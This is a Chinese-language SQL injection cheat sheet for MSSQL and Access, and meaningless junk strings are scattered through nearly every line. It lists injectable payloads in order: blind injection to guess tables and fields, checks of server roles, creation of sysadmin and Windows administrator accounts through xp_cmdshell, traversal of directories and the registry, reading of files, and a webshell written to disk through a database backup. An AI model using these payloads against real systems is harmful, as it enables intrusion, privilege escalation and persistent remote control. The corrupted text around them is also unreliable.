1.判断是否有注入;and 1=1 ;and 1=2 !&'# a
2.初步判断是否是mssql ;and user>0 rat=)n)"t
T_3V/)%@
3.注入参数是字符'and [查询条件] and ''=' %j~9O~-
C<zx'lw!
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 2qt=jz\s
xAR^
5.判断数据库系统 ac2}3$u
e_YW~z=6t
;and (select count(*) from sysobjects)>0 mssql 9m%7dsv
;5&k/CB1
;and (select count(*) from msysobjects)>0 access emGV]A%nss
EG'7}W
, LCH2r
}T?i%l
6.猜数据库 ;and (select Count(*) from [数据库名])>0 0SAG6k~x
s#'|{
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Yt\E/*%
( 1QdZD|
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Y9z:xE
X7'h@>R
9.(1)猜字段的ascii值(access) Hj}g1"RA
g
@c=Bt$
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 u.ULS3`C/X
7AZ5%o
(2)猜字段的ascii值(mssql) m]+X}|
&6|6J1c8
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 J>,'P^
@c.11nfn`
10.测试权限结构(mssql) mafAC73
VWnu#_(
&4ug3
; Xnk+
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- X m_Ub>N5
(hD X4;4
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- \t&n
jMWpZ
%8bFQNd
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- -y7l?N5F>
C9"f6>i
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ND)M3qp2(
\rw'QAi8r
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- MSxU>FX0
;iwD/=Y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Q rrZF.
;&7qw69k
;and 1=(select IS_MEMBER('db_owner'));-- -7C=- \]
P~b%;*m}8
Z(Ls#hp
DI2S
%Nl
11.添加mssql和系统的帐户 Yp?a=R
&L[8Mju6
;exec master.dbo.sp_addlogin username;-- !'6J;Fb#
;exec master.dbo.sp_password null,username,password;-- 7@e[:>e
s525`Q;
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- u:{.
Hn`
do:RPZ!
;exec master.dbo.xp_cmdshell 'net user username password Nt,]00S\w
;r2b@x:<_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- :#"OCXr
v~W6yjp
;exec master.dbo.xp_cmdshell 'net user username password /add';-- O7L6Htya
Z)Xq!]~/g
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
M\$<g
g'l7Jr3
(t]R#2{
Xf'
12.(1)遍历目录 Qg8eq_m(
S+E3;' H
;create table dirs(paths varchar(100), id int) [;kj,j
vr]dRStr
;insert dirs exec master.dbo.xp_dirtree 'c:\' b^|,9en
Q=9VuTE
;and (select top 1 paths from dirs)>0 n$\6}\k
~A{[=v
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) h^3Vd K,
RWEgUDX^/
#7E&16Fk
q=i,'.nS
(2)遍历目录 nh_xbo5L[
t3h \.(mq
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- oU{-B$w
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ^c:eXoU
e1Z;\U$&.
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Q!$kUcky9
D/!G]hx
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 MJk:s[o
Ub-k<]yZ
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ,jdKcWy'
Z{>Y':\?<
r;s3(@[,@
vcUM]m8k
13.mssql中的存储过程 P|QnZ){
6-E4)0\
xp_regenumvalues 注册表根键, 子键 '"NdT7* +
ckkM)|kK
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [_z2z6
1 bx^Pt)
xp_regread 根键,子键,键值名 @C6DOB
7B> cmi
;exec xp_regread Y K 62#;
Lzb [%?
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Sv[_BP\^h
7.=s1~p
xp_regwrite 根键,子键, 值名, 值类型, 值 @ F"ShT0
;{#M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 n@8{FoF
SOY#, Zu
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 )e$-B]>7z
?@7|Q/
xp_regdeletevalue 根键,子键,值名 2tTV5,(1
MhXm-<4
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 6j.(l4}
4zvU"np
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 [75e\=wK
L
~'N6
q+=@kXs>+
k{&E}:A
14.mssql的backup创建webshell Y
.X-8
GoGgw]h>x
use model "h|0]y^2
'
=s*DL`0
create table cmd(str image); 8J@OMW&[l
IOsDVIXL\
insert into cmd(str) values (''); 7o%|R2mL}
[\y>&"uk
backup database model to disk='c:\l.asp'; Tp.iRFFkP
n/|`Dz.
Hm[!R:HW,S
ty8!"-V1
15.mssql内置函数 GOgT(.5
Or~6t}f
;and (select @@version)>0 获得Windows的版本号 ~ZIRCTQ"
3S21DC@Y
;and user_name()='dbo' 判断当前系统的连接用户是不是sa x@l~*6!K
W-B[_
;and (select user_name())>0 爆当前系统的连接用户 \r&@3a.>
[~0q )
;and (select db_name())>0 得到当前连接的数据库 qt;Tfuo
AMiFsgBj
YR`rg;n#
'%7]xp
16.简洁的webshell Z-V%lRQ=b
QAw,X Z.K^
use model "C|l3X'
xL"o)]a=
create table cmd(str image); NGzqiu"J
.DsYR/
insert into cmd(str) values (''); a-hGpYJJG
t9l7
% +y
backup database model to disk='g:\wwwtest\l.asp';